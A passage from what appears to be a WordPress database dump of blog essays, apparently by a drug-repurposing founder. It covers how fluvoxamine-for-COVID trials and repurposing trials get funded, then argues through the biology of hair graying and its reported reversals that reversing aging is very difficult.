-->\n<p>If the rarity of easy funding of worthwhile drug trials seems weird and troubling to you, then I agree. Unfortunately, this is the way the nation’s funding infrastructure is set up. These large trials require a lot of funding and organization. Doctors and hospitals need to be recruited, instructed, and paid; materials need to be supplied; and data needs to be gathered and analyzed. The NIH (or NSF, or whoever) not only won’t provide all the money necessary to run the trial (or sometimes any money at all), they’ll also give any prospective investigator a ton of grief and paperwork, making it difficult to run the trial properly.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This issue ties into the answer to the last question: why don’t we do this more often? Why aren’t we constantly trying random drugs on random diseases? After all, it’s not like there’s any lack of studies like that mouse septic shock study. Hell, there’s an idea right there: fluvoxamine in a trial for septic shock in humans. Done.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The short answer is that we don’t do this more often because it’s really tough to fund these studies. The generosity of billionaires is always a tricky thing to rely on, and, as mentioned, public funds won’t do. Large non-profits can step in occasionally, but they’re usually disease specific (like the Michael J. Fox Foundation for Parkinson’s) and don’t love putting this much of their budget into one trial or study.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The other other option for funding is, of course, through drug manufacturers. You might even expect these would be the most natural funder for these sorts of trials, given that they’ll make a lot of money off of the new indications for the drug. What’s to stop a drug manufacturer from funding a bunch of trials and then making money for whatever diseases the trial works for?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Well, it’s not so simple. If we look at fluvoxamine, for instance, it’s generic, or off-patent. So, while there used to be one manufacturer of fluvoxamine, now there are many.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This has been great for reducing the prices of fluvoxamine for its original indication, depression. However, this introduces a massive free-rider problem for any new indication that someone might try to come up with for fluvoxamine. No generic manufacturer is going to fund a trial of fluvoxamine for COVID on their own, because the other generic manufacturers would also benefit from the results of this trial and not be out millions of dollars.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This isn’t to say there’s no way to have a drug manufacturer fund a drug repurposing trial. If there were, my company, <a href=\"http://highwaypharm.com\">Highway Pharmaceuticals</a>, would be dead out of the starting gate, as that’s our modus operandi. It just means that drug repurposing trials by for-profit entities have to be more clever than those by non-profits in order to avoid free-rider problems.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, let’s talk about the clever ways that drug repurposing trials can be funded by for-profit entities. Not only will it be informative, but it’ll give me a chance to call myself clever, which I always enjoy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The first and most obvious way is just to try to patent the drug that’s being repurposed, and then use the courts to fight any free riders. Contrary to popular belief, you can patent a novel use for a generic drug, as long it’s “novel and non-obvious”, <a href=\"https://trevorklee.com/so-you-want-to-patent-a-drug-heres-what-you-need-to-know/\">which I’ve discussed before</a>. If you get the patent, you can hopefully carry out the trial on the actual drug that’s already been successful in a mouse trial, without having to modify it or manufacture it yourself. Then you can simply sue anyone who threatens your patent, and laugh all the way to the bank. For a current example, this is what a startup called PharmaTher is doing with <a href=\"https://www.neurologylive.com/view/fda-approves-ind-ketamine-parkinson-disease-dyskinesia\">ketamine for Parkinson disease dyskinesia</a>, based on case reports of Parkinson’s patients who received ketamine for anesthesia and then found their dyskinesia alleviated.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://media.springernature.com/full/springer-static/image/art%3A10.1038%2Fnature.2016.19862/MediaObjects/41586_2016_Article_BFnature201619862_Figa_HTML.jpg\" alt=\"How club drug ketamine fights depression | Nature\"/><figcaption>This is what I got when I Googled ketamine, so I have to assume these are Parkinson\'s patients celebrating the alleviation of their dyskinesia.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>However, while this is the most obvious way to fund and make money off of drug repurposing, it’s actually the hardest to carry out in practice. Patents, as my patent lawyer likes to remind me, are only worthwhile if you’re going to enforce them. And the problem is that you won’t just have to enforce your patents against other drug manufacturers. You’ll have to enforce your patent against any doctor who reads your trial and decides to try out the generic version of the drug on their own patients. So, PharmaTher is going to need to be willing to sue any doctor who uses generic ketamine on a Parkinson’s patient. If you imagine a newspaper headline like, “Pharmaceutical company sues local doctor for trying to help Parkinson’s patients”, you’ll understand why this is a tough path to follow.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The second possible way is to slightly modify the generic, get a patent on the slightly modified version, and then sell that. As the only manufacturer of the slightly modified version, you avoid the issue of off-label prescriptions. This is what Johnson and Johnson did with esketamine for depression, as <a href=\"https://slatestarcodex.com/2019/03/11/ketamine-now-by-prescription/\">Scott Alexander eloquently describes</a>.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In this case, you do reintroduce some of the risks of a new drug (e.g. difficulty in manufacturing, risk of the drug not working, risk of the drug causing toxicity), but hopefully it’ll be much less of a risk than a completely new drug. You also will likely have some medical professionals who realize they can just prescribe the generic instead of your slightly modified version, like Scott in the link, but there won’t be too many of those and they’ll be fighting uphill against your marketing and relationships with insurance companies. Overall, this is a reasonably safe way for a company with chemistry and manufacturing expertise to repurpose a drug, as long as they’re willing to get a little bit slimy with their marketing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The third way is for those of us, like myself, who have little manufacturing expertise and a dislike of slime. This way is to combine two generics for some sort of synergy in a new indication. Doctors aren’t likely to prescribe two drugs combined off label, especially if one or both of those drugs in the combination is in a non-standard dose (imagine a doctor telling you to take ⅓ of one pill and ½ of another). You also avoid almost all of the risks of a new drug, as manufacturing and toxicology are way easier, and it’s much easier to predict whether the drug will work in this new indication. Finally, you’re less likely to annoy people if you can argue that this is a genuinely surprising synergy in a new indication, like Amylyx has argued with <a href=\"https://www.nejm.org/doi/full/10.1056/NEJMoa1916945\">sodium phenylbutyrate/taurursodiol combination in ALS</a>, given that neither of those drugs could have been predicted to work well in ALS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The main danger in this approach is that people tend to attack the synergy part, and argue that these are just two drugs which both work separately, or even just one of the drugs work. Amylyx got that charge in a letter to the journal they published their trial in, arguing that taurursodiol works on its own. This can escalate to more serious consequences, too, as the FDA can and will reject drug combinations that they don’t see as synergistic. Overall, this is a slightly riskier but much cheaper way to repurpose a drug, perfect for startups with shallow pockets and a dislike of fake drug differentiation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, tying this back to fluvoxamine for COVID, a for-profit company could have conceivably funded this trial by either using a drug that’s still a sigma one agonist but not generically available (like <a href=\"https://en.wikipedia.org/wiki/Opipramol\">opipramol</a>), or by coming up with some clever, synergistic drug combination to combine with fluvoxamine, like something that suppresses cytokine production by another way.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Neither of these would have been as fast or as efficient as what actually happened with fluvoxamine, and I think it’s truly a great thing that this fluvoxamine trial was able to be carried out and funded the way it was. But, they are much faster and more efficient than the usual alternative path, in which the drugs remain in mouse trials for years until some magical combination of non-profit money comes together to fund a small human trial. You gotta take what you can get.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>[1] One of the effects of sigma one agonism seems to be inhibition of cytokine production and the IRE 1 pathway, part of the unfolded protein response.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Cytokines are small proteins that can serve as very localized alarms. The unfolded protein response is a cellular response to situations in which the cell notices that its protein factory, the endoplasmic reticulum, is consistently churning out misshapen proteins. When this occurs, the cell immediately stops making proteins and either fixes the factory or burns it down by killing the cell.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Cytokines and the unfolded protein response are very related to each other, as one can cause the other, or both can be caused by the same thing. Anytime that the UPR is activated is an emergency, and massive cytokine production is a very stressful event that can cause the cell to start misfolding proteins.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>They are also, for the most part, good things. It’s good for the body to have localized alarms, and it’s good to shut down cells that are consistently malfunctioning.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The problem comes when this becomes a cascade. Imagine the body as a factory, and each cell as a person. If one person is consistently messing up production, it’s good for the foreman to try to fix the situation, or fire the person if it doesn’t work. It’s also good for the foreman to tell that person’s coworkers, so the coworkers know they’ll have to step up their own production for a bit and watch out for whatever element caused the first person to slack. If, however, the foreman fires 100 workers at once and tells all their coworkers at the same time, that can have unpredictable effects in that section of the factory, as it’s unclear who steps up to cover the load and there’s also going to be a lot of noise. This can lead to chaos and a total factory shutdown.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is where fluvoxamine comes in. Fluvoxamine, as a sigma one agonist, inhibits the foreman firing people. This can turn a cascade of 100 people being fired at once into only 10 at a time, which is easier for the factory to manage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Fluvoxamine’s ability to do this was theorized for a while, but the best confirmation came in a mouse study in 2019. In <a href=\"https://sci-hubtw.hkvisa.net/10.1126/scitranslmed.aau5266\">this study</a>, they injected mice with a slurry of fecal matter, which is both disgusting and a great way to induce septic shock.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Septic shock is a classic example of a cascade: a million cytokine alarms go off at once, all the cells start messing up because of the noise and stress, the foreman freaks out and fires a bunch of people/cells at random, and the organism often dies. However, this study found that mice who genetically lacked sigma one receptors died more often after injection, probably because nobody was there to inhibit the foreman. It also found that genetically normal mice who were given fluvoxamine after getting injected did better than normal mice who didn’t. Finally, they found hints for a similar role of fluvoxamine in human blood samples.</p>\n<!-- /wp:paragraph -->','Why did they give antidepressants to COVID patients?','','inherit','closed','closed','','234-revision-v1','','','2021-11-26 02:46:12','2021-11-26 02:46:12','',234,'https://trevorklee.com/?p=243',0,'revision','',0),
(244,1,'2021-12-10 15:10:11','2021-12-10 15:10:11','<!-- wp:paragraph -->\n<p> <em><a href=\"https://twitter.com/trevor_klee\">Follow me on Twitter</a> if you want to discuss this essay, my other essays, or anything else having to do with science and biotech. If you\'d like to get notified when I publish new essays, <a href=\"https://landing.mailerlite.com/webforms/landing/l5k3q3\">sign up for my mailing list</a>, which I literally only use to alert people when I publish new essays.</em> </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A lot of money and effort has recently been poured into aging therapeutics. Altos Labs, for instance, has raised <a href=\"https://www.technologyreview.com/2021/09/04/1034364/altos-labs-silicon-valleys-jeff-bezos-milner-bet-living-forever/\">$270 million dollars</a> in the last year for pursuing “cellular longevity”, or making individual cells live longer (in the hopes that will make people live longer as well). Other aging startups are also exceedingly well-funded, like Loyal, which has raised <a href=\"https://www.longevity.technology/loyal-raises-27m-to-keep-mans-best-friend-around-longer/\">$27 million</a> to try to extend the lifespan of dogs before even making it to the clinic.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is a lot of money, even for biotech. Most traditional biotech can make it to evidence of efficacy in humans for around $30 million total, and drug repurposing efforts (like <a href=\"http://highwaypharm.com\">my own</a>) can do so for $5-10 million.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The sheer amount of money (coming largely from the tech crowd) being thrown at aging has, understandably, resulted in a lot of hype. I got my news of Loyal’s <a href=\"https://techcrunch.com/2021/09/23/loyal-raises-27m-aims-to-give-dog-owners-more-time-with-their-pets/\">Series A from TechCrunch</a>, for instance, covered in the same tone as any buzzy new app’s Series A. TechCrunch, for the record, didn’t even mention the name Moderna until <a href=\"https://techcrunch.com/tag/moderna-therapeutics/\">Moderna was already in Phase 3 trials for its COVID vaccine</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I don’t think these anti-aging efforts are necessarily doomed to fail. I do think, however, that their public announcements and even their private assumptions massively underestimate the difficulty and complexity of reversing or stopping aging. Aging is biology, and biology, like reality, has <a href=\"http://johnsalvatier.org/blog/2017/reality-has-a-surprising-amount-of-detail\">a surprising amount of detail</a>.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If I try to discuss aging or reversing aging in general, though, I’m liable to get stuck in generalities, which makes it hard to drill down into the sort of details that matter. So, instead, I’d like to discuss in detail a very specific part of aging: graying. Only then, after we discuss graying, can we start to get a sense of the difficulty and complexity of aging research.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Graying is a too often overlooked part of aging in general, in my opinion. While it’s easy to ignore it because it’s not part of the aging process that bothers us (George Clooney has basically his entire career to thank for it), it’s actually an incredibly useful part of aging to study.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>First, almost every mammal grays as it ages and almost every mammal that is gray is old. That means graying is an incredibly conserved part of aging, as close to a visible biological clock as one can get.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh4.googleusercontent.com/38xKWrR8ZRf5h963BGbqK3XW7Gbekh77AKRCu8Df0GgmHDSJ2l8_o9NcbJZIQwMW0A6PwyH6AmRJMmoFgPW0GCV52lVMdRyRwmadb_nLWXbjIrAOkiupGS39Kl7s5MIX6BJsmTPU\" alt=\"\"/><figcaption>On the left is a baby tree kangaroo. On the right is a senior tree kangaroo. Note the graying around the eyes and muzzle of the senior. Then note how cute the baby is.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Second, as I’ll discuss more below, not only do we know how to induce graying, we’ve actually accidentally reversed it as well. This gives us vital clues as to what can control the process of graying, clues that we don’t have for aging in general.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Third, graying is highly visible and indisputable. Advances in the aging field or aging-related diseases fields are frequently disputed because metrics aren’t universally agreed upon. It’s difficult to tell if a mouse has been cured of Alzheimer’s when mice don’t get Alzheimer’s to begin with. Scientists are forced to resort to saying, “We did something to this mouse that looked like giving it Alzheimer’s, and then we did something else that looked like it put the mouse back to square 1”. This is not the case for an anti-graying intervention.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Finally, interventions that affect graying can be done without harming the overall health of the individual, which is helpful both from an ethical standpoint and a logistical one (i.e. we don’t have to continually get new lab animals). One could even imagine some dedicated researcher experimenting on himself to reverse his own graying. If he messes up and does the opposite, it’s not that big of a deal.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’m not the first person to notice these advantages, of course. A lot of people have thought this way, and there’s a robust literature of people experimenting with graying and anti-graying techniques on hair in culture, in animals, and even in humans. All it takes is for a scientist with a pair of tweezers to say to their graying colleague “come here for a second” and they can get another experiment up and running, which is a far cry from how complicated it is to run an Alzheimer’s experiment.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://c8.alamy.com/comp/T79J4B/new-method-of-depilation-crazy-funny-man-using-tweezers-to-remove-his-beard-guy-trying-to-rid-of-the-beard-close-up-portrait-T79J4B.jpg\" alt=\"new method of depilation, crazy funny man using tweezers to remove his  beard. guy trying to rid of the beard. close up portrait Stock Photo - Alamy\"/><figcaption>This is how graying experiments are run. No shirts allowed.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>But that’s precisely my point. Despite these evident, huge advantages to studying graying, graying is still really difficult to understand and impossible to cure. For the rest of this essay, I’ll discuss what we know about graying, what we don’t know, and where the field is going from here. Then I’ll try to put it back in context with the rest of aging research, so we can get more context for how difficult aging research is.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, if you don’t feel like reading too much more, I’ll give you the summary. The two big things we know about graying are most of <em>how</em> it happens and how it’s been accidentally reversed. The biggest things we don’t know about graying are <em>why</em> it happens and how we can intentionally reverse it. If you’d like to know more detail, read on. Also, I should mention that I’ve relied a lot on <a href=\"https://onlinelibrary.wiley.com/doi/full/10.1111/brv.12648\">this excellent review paper</a> for explaining more about the biology of graying.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Anyway, here’s what we know about how it happens.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Here’s the normal cycle of a hair follicle. Over the period of several years, the hair grows out from a follicle, detaches, and then grows again.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh4.googleusercontent.com/Oo8X7k6Iq0hafiTS0Kdmx3HslLEq2U9nA5JUddP4jltwtrqqxb9aaWc9JzlhJzBN1WrzpOCSIK-ykP_rom0bhaeStxEz-2f_29jOX82_sQgpsW4MUoRLpwYROJBc_mnfdyjfxaGi\" alt=\"\"/><figcaption>from <a href=\"https://www.growgorgeous.co.uk/blog/the-hair-lab/how-does-hair-grow/\">GrowGorgeous</a>.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Hair gets its darkness from melanin, like skin. This is produced by melanocytes that surround the bottom of the hair shaft, which is known as the matrix, as seen below. The process of producing melanin occurs only during anagen, as does the process of producing more melanocytes from the melanocyte stem cells that surround the middle of the hair shaft, which is known as the bulge. During anagen, melanocytes migrate from the bulge to the matrix so they can start producing melanin. After anagen, the mature melanocytes in the matrix apoptose, or die.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh5.googleusercontent.com/xjdwp6hfxRWBc15Pci_btxt0Y_mFaJL0-oal5bTxNhzeL7pMOuAUfRSpt1Y1XSu_PqYdcryRXnIrSilqUxPtrlLLNnajIFjYRNZVykAiZPNwy3twTYxzFNs7dIX-ENb7NMg9PZp0\" alt=\"\"/><figcaption>From, well, you already know. It\'s not my fault they had the diagram I was looking for.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Melanocytes and the lack thereof are key to the graying process. Gray hair follicles have fewer melanocytes at the start of anagen (and those melanocytes may be worse at producing melanin), while white hair follicles have almost no melanocytes or melanocyte stem cells.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The essential cause of graying seems to be, then, that melanocytes for some reason stop coming from the bulge to the matrix, or at least stop surviving and proliferating in the matrix. This results in a lack of melanin making its way to the hair shaft. After this happens, this is weirdly followed by the melanocyte stem cells also dying. Why this sequence of events occurs and not the reverse is one of the big mysteries of graying.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Part of the reason why it’s difficult to understand this sequence of events is that the normal cycle of melanocyte stem cells -&gt; melanocytes -&gt; melanin is much more complicated in life than it seems on paper. For one thing, it’s controlled by many, many hormonal regulators. Here’s a short list: ACTH, adrenocorticotropic hormone; α-MSH, alpha melanocyte-stimulating hormone; BMAL1, brain and muscle ARNT-like 1; CRH, corticotropin-releasing hormone; c-KIT, tyrosine protein kinase Kit; c-Met, tyrosine protein kinase Met; FGF, fibroblast growth factor; GR, glucocorticoid receptor; HGF, hepatocyte growth factor; HPA, hypothalamus–pituitary–adrenal axis; MC1R, melanocortin receptor; MITF, microphthalmia-associated transcription factor; NGF, nerve growth factor; PER1, period circadian regulator 1; POMC, proopiomelanocortin; SCF, stem cell factor; T3, triiodothyronine; T4, tetraiodothyronine; TRH, thyrotropin-releasing hormone; TrkA, tyrosine receptor kinase A; and TSC, tuberous sclerosis complex.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Any one of these can affect the pigmentation process. For example, nerve growth factor (NGF) is, as you might expect, a growth factor. It promotes the growth and proliferation of melanocytes. It does so by agonizing TrkA. If you grow a hair follicle <em>in vitro</em> and add in NGF, <a href=\"https://journals.plos.org/plosone/article?id=10.1371/journal.pone.0221757\">you can make the hair shaft dark with melanin long after the control hair factor has gone gray</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Is that then a solution to hair graying? Well, no. First of all, completely removing a cell from all hormones is not what causes hair graying in people. NGF never goes away in people. If it did, we\'d be pretty screwed, because it’s used everywhere in the body (e.g. to promote nerve growth). Second of all, and more importantly, hormones are never quite so simple as more=better. While in this experiment 5 ng of NGF kept the hair shaft dark, 50 ng of NGF actually made the hair follicle lose pigmentation faster than the control.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh3.googleusercontent.com/FESxyHjLpZjlexOMw0Me42tXbvv0tPOuqtptuBygRlfjX1ZJdRgKB5e6aGfKLN8RHvt4mtqQsjP5edlbPyOu0x2JXIof-iDyeLjYmAGhNlbMKGGAuqwBzCERQz1U5ze4KLy0Ooyt\" alt=\"\"/><figcaption>Note that 50 ng NGF on day 6 has less melanin than 0 NGF on day 6.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>At this point, I hope you’re starting to get some sense of the complexity of all of this. People who claim that aging is “just” one thing or “just” another radically underestimate the complexity of how cycles are controlled in the body. These scientists above understand what NGF is for in terms of hair darkening, are able to grow unlimited hair follicles in culture, and can add as much or as little NGF as they want. They still don’t know how much NGF is appropriate for an individual hair follicle on the human head in order to keep a hair strand dark, or even if a lack or excess of NGF is a major cause of graying. This stuff’s really difficult!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The other major piece of knowledge that we have in our arsenal with regards to graying are reports of sudden reversals of graying. Unfortunately, despite their value, these cases are woefully underexplored. They mostly just exist in reports from random doctors. This is a pity, because there’s not really an equivalent for any other piece of aging: nobody randomly gets cured from Alzheimer’s or randomly gets their joint degeneration turned to normal. If there are any real-world consequences from this essay, I’d hope that an exploration of these cases is one of them, because they are fascinating.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Some of the most reliable reports of spontaneous hair repigmentation come from immunosuppressants, including <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6031562/\">secukinumab</a>, an anti-interleukin-17 therapy; <a href=\"https://escholarship.org/uc/item/6fn0t1xz\">adalimumab</a>, an anti TNF-alpha therapy; and <a href=\"https://sci-hubtw.hkvisa.net/10.1111/j.1468-3083.2007.02524.x\">corticosteroids</a>. Interestingly, the darkened hair growth persisted for both the adalimumab and the corticosteroids at least 20 and 12 months after the cessation of therapy, respectively (there was no cessation of secukinumab). While this isn’t longer than the 3-5 years of the total life cycle of a hair follicle, it does suggest that there was some immune component to hair graying in the first place. Immune cells attacking and killing melanocytes might be a common cause of hair graying.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh6.googleusercontent.com/qymFgmwV9GrHGMBnRn-f8eTKkcKcO5gt9G6eAn3Mqm638LBjD4hgpreWsNG4Opgeg0W8JQDmoHVr2v4j27YAk1dwKHyEoVlfF2gPS8pbbG_zu3M-DK67-NYD2mwVb_jG5urrp28q\" alt=\"\"/><figcaption>On the left, 1 month after starting secukinumab. On the right, 6 months after starting secukinumab.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh4.googleusercontent.com/EvcCAD-PqZxfUhtRZ56fv74oHjjzxohntsbnJq85nETEblfi9L-GgtoU0gf7_ouhoekZQnM0cCyVnSSBo9kQVWQofAW_mu1T9voPa5-jkeQUS4lylwBHJy-3YgkvfNUgWpRKyweu\" alt=\"\"/><figcaption>On the left, 20 months after an 81 year old patient started corticosteroids. On the right, the same patient at 65 years old, sans corticosteroids.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>There are also other reliable reports from other cases, but they’re even harder to explain.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://sci-hubtw.hkvisa.net/10.1046/j.1365-2133.2002.04591.x\">Two patients with porphyria cutanea tarda experienced hair repigmentation concurrent with their other symptoms</a>. One patient had continued hair repigmentation 9 years after treatment of her porphyria cutanea tarda resolved, which means that the repigmentation lasted beyond a hair follicle cycle. Porphyria cutanea tarda is caused by a deficiency of an enzyme that participates in the creation of heme, and results in increased photosensitivity.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Porphyria cutanea tarda also results in (and is usually diagnosed by) <a href=\"https://pubmed.ncbi.nlm.nih.gov/3941293/\">an elevated level of ferritin</a>, a protein that stores iron. One can maybe imagine how excess iron could result in hair darkening, but it’s hard to imagine how that could then persist after the ferritin levels returned to normal.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh5.googleusercontent.com/W2Uk_CqYNzTbNktOwJCDrcYSOk6uCSfmdwkfqylOKfDAGefagVVH7sS1g84zpaRWBu4ddzCqBMAmcVkPX5HMI8L5UPms1bn0_eEkO-F5txXFH3DGH_y2MwKZb8z0gq20xOVaJm40\" alt=\"\"/><figcaption>On the left, the patient after being diagnosed with porphyria cutanea tarda. On the right, the patient several years before. </figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>There was also a report of <a href=\"https://sci-hubtw.hkvisa.net/10.1111/j.1365-4632.2011.05422.x\">erlotinib, a tyrosine kinase inhibitor, spontaneously causing hair repigmentation</a>, but only on the top of the head. Interestingly, this evidently occurred mid follicle cycle, as the root of the hair was dark, while the tip of the hair remained gray. Tyrosine is a promoter of melanogenesis, so some sort of connection is suggested there, but it’s difficult to know why that would only occur at the top of the head.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh5.googleusercontent.com/zORy8yJ3opM2AVcTtMx5-ojlAuDx9spLkQ5kHs0QY5zGBA3hQTF7-OQZcJ0_1baMfCZ2woyfGkRcto_KbAuIQNMmQOUnl0JSK6n1xry6qv4IKAefuw_mofs8dUVRwzeNUEa-hEZK\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>The reverse happened with acitretin, where <a href=\"https://sci-hubtw.hkvisa.net/10.1111/j.1440-0960.2009.00542.x\">the crown of the head was gray but the occipital region turned black</a>. Acitretin is closely related to vitamin A, and used to treat psoriasis. <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC3237781/\">Vitamin A deficiency and excess can cause hair loss</a>, likely by interacting with the hair follicle stem cells and sebaceous glands. The effect on hair stem cells is suggestive, but, again, it’s really difficult to explain why this would only affect the occipital region.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh5.googleusercontent.com/ur936_EsuehUveBj1oQ-En1w1Zp6L0P9K1DdJTRj3vY6rmSOS6HE4JDB6xEHyXWQH2QKDYW9K337F4mBRzMSmp0quZXnumwKznWExp15YIWnqCyA1z5f8ScZKTZrzGknFYyvcgmg\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Trying to summarize all of these cases as what can reverse hair graying is difficult. The most obvious answer is that hair graying must be caused by many factors, and what reverses one person’s hair graying might not reverse another. The challenge for researchers, then, would be to predict which people would be affected by which interventions, and then figure out which parts of the intervention are actually necessary.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And that brings us back to the biggest thing we don’t know: why any of this happens. We don’t know why melanocytes stop producing melanin or migrating down to the matrix. We don’t know why melanocytes die before melanocyte stem cells, or why this is so conserved across mammal species.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And, because we don’t know why, we still are not remotely close to someone with gray hair being able to walk into a doctor’s office and walk out with black hair. In fact, we’re still not remotely close to being able to consistently reverse graying even in a mouse.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Our difficulties with these presage a difficulty with reversing aging as a whole. Aging is made up of a bunch of different systems: aging of the skin, the heart, the brain, the immune system. All of these systems age and get worse at their jobs, which is why so many diseases have aging as a risk factor. We can safely assume, too, that all of these systems are at least as complex as a hair follicle, with incredibly long lists of hormones that interact with each other in confusing ways.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, unlike with graying, aging scientists don’t have the luxury of just looking at each other’s heads, looking at case reports of sudden reversals, or even just being able to visually confirm whether a treatment worked. Testing whether an aging treatment worked in the heart or in the brain is a lot more complicated than that. So, there are a lot of hard slogs ahead, and I have no doubts that the same sorts of weird paradoxes that pop up in graying (e.g. melanocytes disappearing before stem cells) will pop up in general aging, too. They’ll just be harder to spot.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, to those scientists with millions of dollars who plan to cure aging within 10 years, I wish you best of luck. But, I urge you: as you work in your labs, please take a second to stop and look at the grayheads around you. Ask them for their wisdom. Then, as they’re replying, try to quickly quickly turn their hair black, and you’ll get a better sense of how ridiculously difficult a task is in front of you.</p>\n<!-- /wp:paragraph -->','Want to reverse aging? Try reversing graying, first.','','publish','closed','closed','','want-to-reverse-aging-try-reversing-graying-first','','','2021-12-10 18:25:44','2021-12-10 18:25:44','',0,'https://trevorklee.com/?page_id=244',0,'page','',0),
